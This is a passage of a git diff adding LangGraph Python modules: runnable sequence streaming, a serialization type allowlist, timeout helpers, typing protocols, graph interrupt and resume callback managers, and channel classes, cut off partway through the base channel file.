+                # stream the last steps
+                # transform the input stream of each step with the next
+                # steps that don't natively support transforming an input stream will
+                # buffer input in memory until all available, and then start emitting output
+                for idx, step in enumerate(self.steps):
+                    if idx == 0:
+                        iterator = step.stream(input, config, **kwargs)
+                    else:
+                        config = patch_config(
+                            config,
+                            callbacks=run_manager.get_child(f"seq:step:{idx + 1}"),
+                        )
+                        iterator = step.transform(iterator, config)
+                # populates streamed_output in astream_log() output if needed
+                if _StreamingCallbackHandler is not None:
+                    for h in run_manager.handlers:
+                        if isinstance(h, _StreamingCallbackHandler):
+                            iterator = h.tap_output_iter(run_manager.run_id, iterator)
+                # consume into final output
+                output = context.run(_consume_iter, iterator)
+                # sequence doesn't emit output, yield to mark as generator
+                yield
+            except BaseException as e:
+                run_manager.on_chain_error(e)
+                raise
+            else:
+                run_manager.on_chain_end(output)
+
+    async def astream(
+        self,
+        input: Input,
+        config: RunnableConfig | None = None,
+        **kwargs: Any | None,
+    ) -> AsyncIterator[Any]:
+        if config is None:
+            config = ensure_config()
+        # setup callbacks
+        callback_manager = get_async_callback_manager_for_config(config)
+        # start the root run
+        run_manager = await callback_manager.on_chain_start(
+            None,
+            self.trace_inputs(input) if self.trace_inputs is not None else input,
+            name=config.get("run_name") or self.get_name(),
+            run_id=config.pop("run_id", None),
+        )
+        # stream the last steps
+        # transform the input stream of each step with the next
+        # steps that don't natively support transforming an input stream will
+        # buffer input in memory until all available, and then start emitting output
+        if ASYNCIO_ACCEPTS_CONTEXT:
+            # get the run object
+            for h in run_manager.handlers:
+                if isinstance(h, LangChainTracer):
+                    run = h.run_map.get(str(run_manager.run_id))
+                    break
+            else:
+                run = None
+            # create first step config
+            config = patch_config(
+                config,
+                callbacks=run_manager.get_child(f"seq:step:{1}"),
+            )
+            # run all in context
+            with set_config_context(config, run) as context:
+                try:
+                    async with AsyncExitStack() as stack:
+                        for idx, step in enumerate(self.steps):
+                            if idx == 0:
+                                aiterator = step.astream(input, config, **kwargs)
+                            else:
+                                config = patch_config(
+                                    config,
+                                    callbacks=run_manager.get_child(
+                                        f"seq:step:{idx + 1}"
+                                    ),
+                                )
+                                aiterator = step.atransform(aiterator, config)
+                            if hasattr(aiterator, "aclose"):
+                                stack.push_async_callback(aiterator.aclose)
+                        # populates streamed_output in astream_log() output if needed
+                        if _StreamingCallbackHandler is not None:
+                            for h in run_manager.handlers:
+                                if isinstance(h, _StreamingCallbackHandler):
+                                    aiterator = h.tap_output_aiter(
+                                        run_manager.run_id, aiterator
+                                    )
+                        # consume into final output
+                        output = await asyncio.create_task(
+                            _consume_aiter(aiterator), context=context
+                        )
+                        # sequence doesn't emit output, yield to mark as generator
+                        yield
+                except BaseException as e:
+                    await run_manager.on_chain_error(e)
+                    raise
+                else:
+                    await run_manager.on_chain_end(output)
+        else:
+            try:
+                async with AsyncExitStack() as stack:
+                    for idx, step in enumerate(self.steps):
+                        config = patch_config(
+                            config,
+                            callbacks=run_manager.get_child(f"seq:step:{idx + 1}"),
+                        )
+                        if idx == 0:
+                            aiterator = step.astream(input, config, **kwargs)
+                        else:
+                            aiterator = step.atransform(aiterator, config)
+                        if hasattr(aiterator, "aclose"):
+                            stack.push_async_callback(aiterator.aclose)
+                    # populates streamed_output in astream_log() output if needed
+                    if _StreamingCallbackHandler is not None:
+                        for h in run_manager.handlers:
+                            if isinstance(h, _StreamingCallbackHandler):
+                                aiterator = h.tap_output_aiter(
+                                    run_manager.run_id, aiterator
+                                )
+                    # consume into final output
+                    output = await _consume_aiter(aiterator)
+                    # sequence doesn't emit output, yield to mark as generator
+                    yield
+            except BaseException as e:
+                await run_manager.on_chain_error(e)
+                raise
+            else:
+                await run_manager.on_chain_end(output)
+
+
+def _consume_iter(it: Iterator[Any]) -> Any:
+    """Consume an iterator."""
+    output: Any = None
+    add_supported = False
+    for chunk in it:
+        # collect final output
+        if output is None:
+            output = chunk
+        elif add_supported:
+            try:
+                output = output + chunk
+            except TypeError:
+                output = chunk
+                add_supported = False
+        else:
+            output = chunk
+    return output
+
+
+async def _consume_aiter(it: AsyncIterator[Any]) -> Any:
+    """Consume an async iterator."""
+    output: Any = None
+    add_supported = False
+    async for chunk in it:
+        # collect final output
+        if add_supported:
+            try:
+                output = output + chunk
+            except TypeError:
+                output = chunk
+                add_supported = False
+        else:
+            output = chunk
+    return output
diff --git a/libs/langgraph/langgraph/_internal/_scratchpad.py b/libs/langgraph/langgraph/_internal/_scratchpad.py
new file mode 100644
index 0000000..fd96b72
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_scratchpad.py
@@ -0,0 +1,19 @@
+import dataclasses
+from collections.abc import Callable
+from typing import Any
+
+from langgraph.types import _DC_KWARGS
+
+
+@dataclasses.dataclass(**_DC_KWARGS)
+class PregelScratchpad:
+    step: int
+    stop: int
+    # call
+    call_counter: Callable[[], int]
+    # interrupt
+    interrupt_counter: Callable[[], int]
+    get_null_resume: Callable[[bool], Any]
+    resume: list[Any]
+    # subgraph
+    subgraph_counter: Callable[[], int]
diff --git a/libs/langgraph/langgraph/_internal/_serde.py b/libs/langgraph/langgraph/_internal/_serde.py
new file mode 100644
index 0000000..775242a
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_serde.py
@@ -0,0 +1,253 @@
+from __future__ import annotations
+
+import dataclasses
+import logging
+import sys
+import types
+from collections import deque
+from enum import Enum
+from typing import (
+    Annotated,
+    Any,
+    Literal,
+    Union,
+    get_args,
+    get_origin,
+    get_type_hints,
+)
+
+from langchain_core import messages as lc_messages
+from langgraph.checkpoint.base import BaseCheckpointSaver
+from pydantic import BaseModel
+from typing_extensions import NotRequired, Required, is_typeddict
+
+try:
+    from langgraph.checkpoint.serde._msgpack import (  # noqa: F401
+        STRICT_MSGPACK_ENABLED,
+    )
+except ImportError:
+    STRICT_MSGPACK_ENABLED = False
+
+_warned_allowlist_unsupported = False
+
+logger = logging.getLogger(__name__)
+
+
+def _supports_checkpointer_allowlist() -> bool:
+    return hasattr(BaseCheckpointSaver, "with_allowlist")
+
+
+_SUPPORTS_ALLOWLIST = _supports_checkpointer_allowlist()
+
+
+def apply_checkpointer_allowlist(
+    checkpointer: Any, allowlist: set[tuple[str, ...]] | None
+) -> Any:
+    if not checkpointer or allowlist is None or checkpointer in (True, False):
+        return checkpointer
+    if not _SUPPORTS_ALLOWLIST:
+        global _warned_allowlist_unsupported
+        if not _warned_allowlist_unsupported:
+            logger.warning(
+                "Checkpointer does not support with_allowlist; strict msgpack "
+                "allowlist will be skipped."
+            )
+            _warned_allowlist_unsupported = True
+        return checkpointer
+    return checkpointer.with_allowlist(allowlist)
+
+
+def curated_core_allowlist() -> set[tuple[str, ...]]:
+    allowlist: set[tuple[str, ...]] = set()
+    for name in (
+        "BaseMessage",
+        "BaseMessageChunk",
+        "HumanMessage",
+        "HumanMessageChunk",
+        "AIMessage",
+        "AIMessageChunk",
+        "SystemMessage",
+        "SystemMessageChunk",
+        "ChatMessage",
+        "ChatMessageChunk",
+        "ToolMessage",
+        "ToolMessageChunk",
+        "FunctionMessage",
+        "FunctionMessageChunk",
+        "RemoveMessage",
+    ):
+        cls = getattr(lc_messages, name, None)
+        if cls is None:
+            continue
+        allowlist.add((cls.__module__, cls.__name__))
+
+    return allowlist
+
+
+def build_serde_allowlist(
+    *,
+    schemas: list[type[Any]] | None = None,
+    channels: dict[str, Any] | None = None,
+) -> set[tuple[str, ...]]:
+    allowlist = curated_core_allowlist()
+    if schemas:
+        schemas = [schema for schema in schemas if schema is not None]
+    return allowlist | collect_allowlist_from_schemas(
+        schemas=schemas,
+        channels=channels,
+    )
+
+
+def collect_allowlist_from_schemas(
+    *,
+    schemas: list[type[Any]] | None = None,
+    channels: dict[str, Any] | None = None,
+) -> set[tuple[str, ...]]:
+    allowlist: set[tuple[str, ...]] = set()
+    seen: set[Any] = set()
+    seen_ids: set[int] = set()
+
+    if schemas:
+        for schema in schemas:
+            _collect_from_type(schema, allowlist, seen, seen_ids)
+
+    if channels:
+        for channel in channels.values():
+            value_type = getattr(channel, "ValueType", None)
+            if value_type is not None:
+                _collect_from_type(value_type, allowlist, seen, seen_ids)
+            update_type = getattr(channel, "UpdateType", None)
+            if update_type is not None:
+                _collect_from_type(update_type, allowlist, seen, seen_ids)
+
+    return allowlist
+
+
+def _collect_from_type(
+    typ: Any,
+    allowlist: set[tuple[str, ...]],
+    seen: set[Any],
+    seen_ids: set[int],
+) -> None:
+    if _already_seen(typ, seen, seen_ids):
+        return
+
+    if typ is Any or typ is None:
+        return
+
+    if typ is Literal:
+        return
+
+    if isinstance(typ, types.UnionType):
+        for arg in typ.__args__:
+            _collect_from_type(arg, allowlist, seen, seen_ids)
+        return
+
+    origin = get_origin(typ)
+    if origin is Union:
+        for arg in get_args(typ):
+            _collect_from_type(arg, allowlist, seen, seen_ids)
+        return
+    if origin is Annotated or origin in (Required, NotRequired):
+        args = get_args(typ)
+        if args:
+            _collect_from_type(args[0], allowlist, seen, seen_ids)
+        return
+
+    if origin is Literal:
+        return
+
+    if origin in (list, set, tuple, dict, deque, frozenset):
+        for arg in get_args(typ):
+            _collect_from_type(arg, allowlist, seen, seen_ids)
+        return
+
+    if hasattr(typ, "__supertype__"):
+        _collect_from_type(typ.__supertype__, allowlist, seen, seen_ids)
+        return
+
+    if is_typeddict(typ):
+        for field_type in _safe_get_type_hints(typ).values():
+            _collect_from_type(field_type, allowlist, seen, seen_ids)
+        return
+
+    if _is_pydantic_model(typ):
+        allowlist.add((typ.__module__, typ.__name__))
+        field_types = _safe_get_type_hints(typ)
+        if field_types:
+            for field_type in field_types.values():
+                _collect_from_type(field_type, allowlist, seen, seen_ids)
+        else:
+            for field_type in _pydantic_field_types(typ):
+                _collect_from_type(field_type, allowlist, seen, seen_ids)
+        return
+
+    if dataclasses.is_dataclass(typ):
+        if typ_name := getattr(typ, "__name__", None):
+            allowlist.add((typ.__module__, typ_name))
+        field_types = _safe_get_type_hints(typ)
+        if field_types:
+            for field_type in field_types.values():
+                _collect_from_type(field_type, allowlist, seen, seen_ids)
+        else:
+            for field in dataclasses.fields(typ):
+                _collect_from_type(field.type, allowlist, seen, seen_ids)
+        return
+
+    if isinstance(typ, type) and issubclass(typ, Enum):
+        allowlist.add((typ.__module__, typ.__name__))
+        return
+
+
+def _already_seen(typ: Any, seen: set[Any], seen_ids: set[int]) -> bool:
+    try:
+        if typ in seen:
+            return True
+        seen.add(typ)
+        return False
+    except TypeError:
+        typ_id = id(typ)
+        if typ_id in seen_ids:
+            return True
+        seen_ids.add(typ_id)
+        return False
+
+
+def _safe_get_type_hints(typ: Any) -> dict[str, Any]:
+    try:
+        module = sys.modules.get(getattr(typ, "__module__", ""))
+        globalns = module.__dict__ if module else None
+        localns = dict(vars(typ)) if hasattr(typ, "__dict__") else None
+        return get_type_hints(
+            typ, globalns=globalns, localns=localns, include_extras=True
+        )
+    except Exception:
+        return {}
+
+
+def _is_pydantic_model(typ: Any) -> bool:
+    if not isinstance(typ, type):
+        return False
+    if issubclass(typ, BaseModel):
+        return True
+    try:
+        from pydantic.v1 import BaseModel as BaseModelV1
+    except Exception:
+        return False
+    return issubclass(typ, BaseModelV1)
+
+
+def _pydantic_field_types(typ: type[Any]) -> list[Any]:
+    if hasattr(typ, "model_fields"):
+        return [
+            field.annotation
+            for field in typ.model_fields.values()
+            if getattr(field, "annotation", None) is not None
+        ]
+    if hasattr(typ, "__fields__"):
+        return [
+            field.outer_type_
+            for field in typ.__fields__.values()
+            if getattr(field, "outer_type_", None) is not None
+        ]
+    return []
diff --git a/libs/langgraph/langgraph/_internal/_timeout.py b/libs/langgraph/langgraph/_internal/_timeout.py
new file mode 100644
index 0000000..11ff435
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_timeout.py
@@ -0,0 +1,25 @@
+from __future__ import annotations
+
+from datetime import timedelta
+from typing import Literal
+
+from langgraph.types import TimeoutPolicy
+
+_SYNC_TIMEOUT_PREFIX = (
+    "Node timeouts are only supported for async nodes because sync Python "
+    "execution cannot be safely cancelled in-process."
+)
+
+
+def coerce_timeout_policy(
+    value: float | timedelta | TimeoutPolicy | None,
+) -> TimeoutPolicy | None:
+    """Normalize a timeout value to positive-second policy fields."""
+    return TimeoutPolicy.coerce(value)
+
+
+def sync_timeout_unsupported(
+    name: str, *, kind: Literal["Node", "Task"] = "Node"
+) -> ValueError:
+    """Build the canonical error for using `timeout` with a sync target."""
+    return ValueError(f"{_SYNC_TIMEOUT_PREFIX} {kind} {name!r} is sync.")
diff --git a/libs/langgraph/langgraph/_internal/_typing.py b/libs/langgraph/langgraph/_internal/_typing.py
new file mode 100644
index 0000000..19854d1
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_typing.py
@@ -0,0 +1,54 @@
+"""Private typing utilities for LangGraph."""
+
+from __future__ import annotations
+
+from dataclasses import Field
+from typing import Any, ClassVar, Protocol, TypeAlias
+
+from pydantic import BaseModel
+from typing_extensions import TypedDict
+
+
+class TypedDictLikeV1(Protocol):
+    """Protocol to represent types that behave like TypedDicts
+
+    Version 1: using `ClassVar` for keys."""
+
+    __required_keys__: ClassVar[frozenset[str]]
+    __optional_keys__: ClassVar[frozenset[str]]
+
+
+class TypedDictLikeV2(Protocol):
+    """Protocol to represent types that behave like TypedDicts
+
+    Version 2: not using `ClassVar` for keys."""
+
+    __required_keys__: frozenset[str]
+    __optional_keys__: frozenset[str]
+
+
+class DataclassLike(Protocol):
+    """Protocol to represent types that behave like dataclasses.
+
+    Inspired by the private _DataclassT from dataclasses that uses a similar protocol as a bound."""
+
+    __dataclass_fields__: ClassVar[dict[str, Field[Any]]]
+
+
+StateLike: TypeAlias = TypedDictLikeV1 | TypedDictLikeV2 | DataclassLike | BaseModel
+"""Type alias for state-like types.
+
+It can either be a `TypedDict`, `dataclass`, or Pydantic `BaseModel`.
+Note: we cannot use either `TypedDict` or `dataclass` directly due to limitations in type checking.
+"""
+
+MISSING = object()
+"""Unset sentinel value."""
+
+
+class DeprecatedKwargs(TypedDict):
+    """TypedDict to use for extra keyword arguments, enabling type checking warnings for deprecated arguments."""
+
+
+EMPTY_SEQ: tuple[str, ...] = tuple()
+"""An empty sequence of strings."""
diff --git a/libs/langgraph/langgraph/callbacks.py b/libs/langgraph/langgraph/callbacks.py
new file mode 100644
index 0000000..49997a8
--- /dev/null
+++ b/libs/langgraph/langgraph/callbacks.py
@@ -0,0 +1,394 @@
+"""Graph lifecycle callback interfaces and event payloads.
+
+This module defines the public callback surface for observing LangGraph-specific
+lifecycle transitions such as interrupt and resume.
+"""
+
+from __future__ import annotations
+
+from collections.abc import Sequence
+from dataclasses import dataclass
+from typing import Any, Literal, TypeAlias, TypeVar
+from uuid import UUID
+
+from langchain_core.callbacks import BaseCallbackHandler, BaseCallbackManager
+from langchain_core.callbacks.manager import ahandle_event, handle_event
+from langchain_core.runnables import RunnableConfig
+
+from langgraph.types import Interrupt
+
+__all__ = (
+    "GraphCallbackHandler",
+    "GraphInterruptEvent",
+    "GraphLifecycleEvent",
+    "GraphLifecycleStatus",
+    "GraphResumeEvent",
+    "get_async_graph_callback_manager_for_config",
+    "get_sync_graph_callback_manager_for_config",
+)
+
+
+GraphLifecycleStatus: TypeAlias = Literal[
+    "input",
+    "pending",
+    "done",
+    "interrupt_before",
+    "interrupt_after",
+    "out_of_steps",
+]
+"""Allowed lifecycle statuses reported in graph lifecycle callback events."""
+
+
+@dataclass(frozen=True)
+class GraphInterruptEvent:
+    """Graph lifecycle event emitted when execution pauses for interrupts."""
+
+    run_id: UUID | None
+    """Run id for the current graph execution, if available."""
+
+    status: GraphLifecycleStatus
+    """Loop status when the interrupt was captured."""
+
+    checkpoint_id: str
+    """Checkpoint id associated with the interrupted execution."""
+
+    checkpoint_ns: tuple[str, ...]
+    """Checkpoint namespace path for the current graph or subgraph."""
+
+    interrupts: tuple[Interrupt, ...]
+    """Interrupt payloads that caused the graph to pause."""
+
+
+@dataclass(frozen=True)
+class GraphResumeEvent:
+    """Graph lifecycle event emitted when execution resumes from a checkpoint."""
+
+    run_id: UUID | None
+    """Run id for the current graph execution, if available."""
+
+    status: GraphLifecycleStatus
+    """Loop status when the resume was captured."""
+
+    checkpoint_id: str
+    """Checkpoint id the graph resumed from."""
+
+    checkpoint_ns: tuple[str, ...]
+    """Checkpoint namespace path for the current graph or subgraph."""
+
+
+GraphLifecycleEvent: TypeAlias = GraphInterruptEvent | GraphResumeEvent
+"""Union of all public graph lifecycle callback event payloads.
+
+Use this alias when a callback or helper can receive either interrupt or resume
+lifecycle events.
+"""
+
+
+class GraphCallbackHandler(BaseCallbackHandler):
+    """Base class for graph-level lifecycle callbacks.
+
+    Subclass this handler to observe graph lifecycle transitions that are
+    specific to LangGraph execution, rather than generic LangChain runnable
+    callbacks.
+
+    Instances can be passed through `config["callbacks"]` when invoking a
+    graph. Only handlers that inherit from `GraphCallbackHandler` receive these
+    lifecycle events.
+    """
+
+    def on_interrupt(self, event: GraphInterruptEvent) -> Any:
+        """Run when graph execution pauses due to one or more interrupts.
+
+        Args:
+            event: Interrupt lifecycle event payload.
+        """
+
+    def on_resume(self, event: GraphResumeEvent) -> Any:
+        """Run when graph execution resumes from a persisted checkpoint.
+
+        Args:
+            event: Resume lifecycle event payload.
+        """
+
+
+_MISSING = object()
+
+
+def _filter_graph_handlers(
+    handlers: list[BaseCallbackHandler],
+) -> list[GraphCallbackHandler]:
+    return [h for h in handlers if isinstance(h, GraphCallbackHandler)]
+
+
+def _init_base_manager(
+    manager: BaseCallbackManager,
+    handlers: Sequence[GraphCallbackHandler] | None,
+    inheritable_handlers: Sequence[GraphCallbackHandler] | None,
+    parent_run_id: UUID | None,
+    *,
+    tags: list[str] | None,
+    inheritable_tags: list[str] | None,
+    metadata: dict[str, Any] | None,
+    inheritable_metadata: dict[str, Any] | None,
+    run_id: UUID | None,
+) -> None:
+    base_handlers: list[BaseCallbackHandler] = []
+    base_inheritable_handlers: list[BaseCallbackHandler] = []
+    if handlers is not None:
+        base_handlers.extend(handlers)
+    if inheritable_handlers is not None:
+        base_inheritable_handlers.extend(inheritable_handlers)
+    BaseCallbackManager.__init__(
+        manager,
+        handlers=base_handlers,
+        inheritable_handlers=base_inheritable_handlers,
+        parent_run_id=parent_run_id,
+        tags=tags,
+        inheritable_tags=inheritable_tags,
+        metadata=metadata,
+        inheritable_metadata=inheritable_metadata,
+    )
+    manager.run_id = run_id  # type: ignore[attr-defined]
+
+
+def _configure_graph_callbacks(
+    cls: type[_GraphManagerT],
+    callbacks: object | None,
+    *,
+    run_id: UUID | None,
+) -> _GraphManagerT:
+    if callbacks is None:
+        return cls(run_id=run_id)
+    if isinstance(callbacks, cls):
+        return callbacks.copy(run_id=run_id)
+    if isinstance(callbacks, (_GraphCallbackManager, _AsyncGraphCallbackManager)):
+        # Cross-type: extract handlers into the requested cls.
+        return cls(
+            handlers=_filter_graph_handlers(callbacks.handlers),
+            inheritable_handlers=_filter_graph_handlers(callbacks.inheritable_handlers),
+            parent_run_id=callbacks.parent_run_id,
+            tags=callbacks.tags.copy(),
+            inheritable_tags=callbacks.inheritable_tags.copy(),
+            metadata=callbacks.metadata.copy(),
+            inheritable_metadata=callbacks.inheritable_metadata.copy(),
+            run_id=run_id,
+        )
+    if isinstance(callbacks, BaseCallbackManager):
+        return cls(
+            handlers=_filter_graph_handlers(callbacks.handlers),
+            inheritable_handlers=_filter_graph_handlers(callbacks.inheritable_handlers),
+            parent_run_id=callbacks.parent_run_id,
+            tags=callbacks.tags.copy(),
+            inheritable_tags=callbacks.inheritable_tags.copy(),
+            metadata=callbacks.metadata.copy(),
+            inheritable_metadata=callbacks.inheritable_metadata.copy(),
+            run_id=run_id,
+        )
+    if isinstance(callbacks, GraphCallbackHandler):
+        return cls((callbacks,), run_id=run_id)
+    if isinstance(callbacks, (str, bytes)) or not isinstance(callbacks, Sequence):
+        raise TypeError("callbacks must be a handler, sequence, or manager")
+    return cls(_filter_graph_handlers(list(callbacks)), run_id=run_id)
+
+
+def _copy_graph_manager(
+    manager: _GraphCallbackManager | _AsyncGraphCallbackManager,
+    cls: type[_GraphManagerT],
+    run_id: UUID | None | object,
+) -> _GraphManagerT:
+    resolved_run_id: UUID | None
+    if run_id is _MISSING:
+        resolved_run_id = manager.run_id
+    else:
+        if run_id is not None and not isinstance(run_id, UUID):
+            raise TypeError("run_id must be a UUID or None")
+        resolved_run_id = run_id
+
+    return cls(
+        handlers=_filter_graph_handlers(manager.handlers),
+        inheritable_handlers=_filter_graph_handlers(manager.inheritable_handlers),
+        parent_run_id=manager.parent_run_id,
+        tags=manager.tags.copy(),
+        inheritable_tags=manager.inheritable_tags.copy(),
+        metadata=manager.metadata.copy(),
+        inheritable_metadata=manager.inheritable_metadata.copy(),
+        run_id=resolved_run_id,
+    )
+
+
+class _GraphCallbackManager(BaseCallbackManager):
+    """Sync dispatcher for graph lifecycle events."""
+
+    run_id: UUID | None
+
+    def __init__(
+        self,
+        handlers: Sequence[GraphCallbackHandler] | None = None,
+        inheritable_handlers: Sequence[GraphCallbackHandler] | None = None,
+        parent_run_id: UUID | None = None,
+        *,
+        tags: list[str] | None = None,
+        inheritable_tags: list[str] | None = None,
+        metadata: dict[str, Any] | None = None,
+        inheritable_metadata: dict[str, Any] | None = None,
+        run_id: UUID | None = None,
+    ) -> None:
+        _init_base_manager(
+            self,
+            handlers,
+            inheritable_handlers,
+            parent_run_id,
+            tags=tags,
+            inheritable_tags=inheritable_tags,
+            metadata=metadata,
+            inheritable_metadata=inheritable_metadata,
+            run_id=run_id,
+        )
+
+    def copy(
+        self,
+        *,
+        run_id: UUID | None | object = _MISSING,
+    ) -> _GraphCallbackManager:
+        return _copy_graph_manager(self, _GraphCallbackManager, run_id)
+
+    @classmethod
+    def configure(
+        cls,
+        callbacks: object | None = None,
+        *,
+        run_id: UUID | None = None,
+    ) -> _GraphCallbackManager:
+        return _configure_graph_callbacks(cls, callbacks, run_id=run_id)
+
+    def on_interrupt(self, event: GraphInterruptEvent) -> None:
+        handle_event(
+            self.handlers,
+            "on_interrupt",
+            None,
+            event,
+        )
+
+    def on_resume(self, event: GraphResumeEvent) -> None:
+        handle_event(
+            self.handlers,
+            "on_resume",
+            None,
+            event,
+        )
+
+
+class _AsyncGraphCallbackManager(BaseCallbackManager):
+    """Async dispatcher for graph lifecycle events."""
+
+    run_id: UUID | None
+
+    @property
+    def is_async(self) -> bool:
+        """Return whether the manager is async."""
+        return True
+
+    def __init__(
+        self,
+        handlers: Sequence[GraphCallbackHandler] | None = None,
+        inheritable_handlers: Sequence[GraphCallbackHandler] | None = None,
+        parent_run_id: UUID | None = None,
+        *,
+        tags: list[str] | None = None,
+        inheritable_tags: list[str] | None = None,
+        metadata: dict[str, Any] | None = None,
+        inheritable_metadata: dict[str, Any] | None = None,
+        run_id: UUID | None = None,
+    ) -> None:
+        _init_base_manager(
+            self,
+            handlers,
+            inheritable_handlers,
+            parent_run_id,
+            tags=tags,
+            inheritable_tags=inheritable_tags,
+            metadata=metadata,
+            inheritable_metadata=inheritable_metadata,
+            run_id=run_id,
+        )
+
+    def copy(
+        self,
+        *,
+        run_id: UUID | None | object = _MISSING,
+    ) -> _AsyncGraphCallbackManager:
+        return _copy_graph_manager(self, _AsyncGraphCallbackManager, run_id)
+
+    @classmethod
+    def configure(
+        cls,
+        callbacks: object | None = None,
+        *,
+        run_id: UUID | None = None,
+    ) -> _AsyncGraphCallbackManager:
+        return _configure_graph_callbacks(cls, callbacks, run_id=run_id)
+
+    async def on_interrupt(self, event: GraphInterruptEvent) -> None:
+        await ahandle_event(
+            self.handlers,
+            "on_interrupt",
+            None,
+            event,
+        )
+
+    async def on_resume(self, event: GraphResumeEvent) -> None:
+        await ahandle_event(
+            self.handlers,
+            "on_resume",
+            None,
+            event,
+        )
+
+
+_GraphManagerT = TypeVar(
+    "_GraphManagerT", _GraphCallbackManager, _AsyncGraphCallbackManager
+)
+
+GraphCallbacks: TypeAlias = (
+    _GraphCallbackManager
+    | _AsyncGraphCallbackManager
+    | BaseCallbackManager
+    | GraphCallbackHandler
+    | Sequence[BaseCallbackHandler]
+    | Sequence[GraphCallbackHandler]
+    | None
+)
+
+
+def get_sync_graph_callback_manager_for_config(
+    config: RunnableConfig,
+    *,
+    run_id: UUID | None = None,
+) -> _GraphCallbackManager:
+    """Build a sync graph lifecycle callback manager from a runnable config.
+
+    This helper filters `config["callbacks"]` down to handlers that inherit
+    from `GraphCallbackHandler` and binds the provided `run_id` onto the
+    returned manager.
+    """
+    return _GraphCallbackManager.configure(
+        config.get("callbacks"),
+        run_id=run_id,
+    )
+
+
+def get_async_graph_callback_manager_for_config(
+    config: RunnableConfig,
+    *,
+    run_id: UUID | None = None,
+) -> _AsyncGraphCallbackManager:
+    """Build an async graph lifecycle callback manager from a runnable config.
+
+    This helper filters `config["callbacks"]` down to handlers that inherit
+    from `GraphCallbackHandler` and binds the provided `run_id` onto the
+    returned manager.
+    """
+    return _AsyncGraphCallbackManager.configure(
+        config.get("callbacks"),
+        run_id=run_id,
+    )
diff --git a/libs/langgraph/langgraph/channels/__init__.py b/libs/langgraph/langgraph/channels/__init__.py
new file mode 100644
index 0000000..cc7fcc4
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/__init__.py
@@ -0,0 +1,29 @@
+from langgraph.channels.any_value import AnyValue
+from langgraph.channels.base import BaseChannel
+from langgraph.channels.binop import BinaryOperatorAggregate
+from langgraph.channels.delta import DeltaChannel
+from langgraph.channels.ephemeral_value import EphemeralValue
+from langgraph.channels.last_value import LastValue, LastValueAfterFinish
+from langgraph.channels.named_barrier_value import (
+    NamedBarrierValue,
+    NamedBarrierValueAfterFinish,
+)
+from langgraph.channels.topic import Topic
+from langgraph.channels.untracked_value import UntrackedValue
+
+__all__ = (
+    # base
+    "BaseChannel",
+    # value types
+    "AnyValue",
+    "LastValue",
+    "LastValueAfterFinish",
+    "UntrackedValue",
+    "EphemeralValue",
+    "BinaryOperatorAggregate",
+    "DeltaChannel",
+    "NamedBarrierValue",
+    "NamedBarrierValueAfterFinish",
+    # topics
+    "Topic",
+)
diff --git a/libs/langgraph/langgraph/channels/any_value.py b/libs/langgraph/langgraph/channels/any_value.py
new file mode 100644
index 0000000..9ba2555
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/any_value.py
@@ -0,0 +1,72 @@
+from __future__ import annotations
+
+from collections.abc import Sequence
+from typing import Any, Generic
+
+from typing_extensions import Self
+
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel, Value
+from langgraph.errors import EmptyChannelError
+
+__all__ = ("AnyValue",)
+
+
+class AnyValue(Generic[Value], BaseChannel[Value, Value, Value]):
+    """Stores the last value received, assumes that if multiple values are
+    received, they are all equal."""
+
+    __slots__ = ("typ", "value")
+
+    value: Value | Any
+
+    def __init__(self, typ: Any, key: str = "") -> None:
+        super().__init__(typ, key)
+        self.value = MISSING
+
+    def __eq__(self, value: object) -> bool:
+        return isinstance(value, AnyValue)
+
+    @property
+    def ValueType(self) -> type[Value]:
+        """The type of the value stored in the channel."""
+        return self.typ
+
+    @property
+    def UpdateType(self) -> type[Value]:
+        """The type of the update received by the channel."""
+        return self.typ
+
+    def copy(self) -> Self:
+        """Return a copy of the channel."""
+        empty = self.__class__(self.typ, self.key)
+        empty.value = self.value
+        return empty
+
+    def from_checkpoint(self, checkpoint: Value) -> Self:
+        empty = self.__class__(self.typ, self.key)
+        if checkpoint is not MISSING:
+            empty.value = checkpoint
+        return empty
+
+    def update(self, values: Sequence[Value]) -> bool:
+        if len(values) == 0:
+            if self.value is MISSING:
+                return False
+            else:
+                self.value = MISSING
+                return True
+
+        self.value = values[-1]
+        return True
+
+    def get(self) -> Value:
+        if self.value is MISSING:
+            raise EmptyChannelError()
+        return self.value
+
+    def is_available(self) -> bool:
+        return self.value is not MISSING
+
+    def checkpoint(self) -> Value:
+        return self.value
diff --git a/libs/langgraph/langgraph/channels/base.py b/libs/langgraph/langgraph/channels/base.py
new file mode 100644
index 0000000..9207aa2
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/base.py
@@ -0,0 +1,121 @@
+from __future__ import annotations
+
+from abc import ABC, abstractmethod
+from collections.abc import Sequence
+from typing import Any, Generic, TypeVar
+
+from typing_extensions import Self
+
+from langgraph._internal._typing import MISSING
+from langgraph.errors import EmptyChannelError
+
+Value = TypeVar("Value")
+Update = TypeVar("Update")
+Checkpoint = TypeVar("Checkpoint")
+
+__all__ = ("BaseChannel",)
+
+
+class BaseChannel(Generic[Value, Update, Checkpoint], ABC):
+    """Base class for all channels."""
+
+    __slots__ = ("key", "typ")
+
+    def __init__(self, typ: Any, key: str = "") -> None:
+        self.typ = typ
+        self.key = key
+
+    @property
+    @abstractmethod
+    def ValueType(self) -> Any:
+        """The type of the value stored in the channel."""
+
+    @property
+    @abstractmethod
+    def UpdateType(self) -> Any:
+        """The type of the update received by the channel."""
+
+    # serialize/deserialize methods
+
+    def copy(self) -> Self:
+        """Return a copy of the channel.
+
+        By default, delegates to `checkpoint()` and `from_checkpoint()`.
+
+        Subclasses can override this method with a more efficient implementation.
+        """
+        return self.from_checkpoint(self.checkpoint())
+
+    def checkpoint(self) -> Checkpoint | Any:
+        """Return a serializable representation of the channel's current state.
+
+        Raises `EmptyChannelError` if the channel is empty (never updated yet),
+        or doesn't support checkpoints.
+        """
+        try:
+            return self.get()
+        except EmptyChannelError:
+            return MISSING
+
+    @abstractmethod
+    def from_checkpoint(self, checkpoint: Checkpoint | Any) -> Self:
+        """Return a new identical channel, optionally initialized from a checkpoint.
+
+        If the checkpoint contains complex data structures, they should be copied.
+        """
+
+    # read methods
+
+    @abstractmethod
+    def get(self) -> Value:
+        """Return the current value of the channel.
+
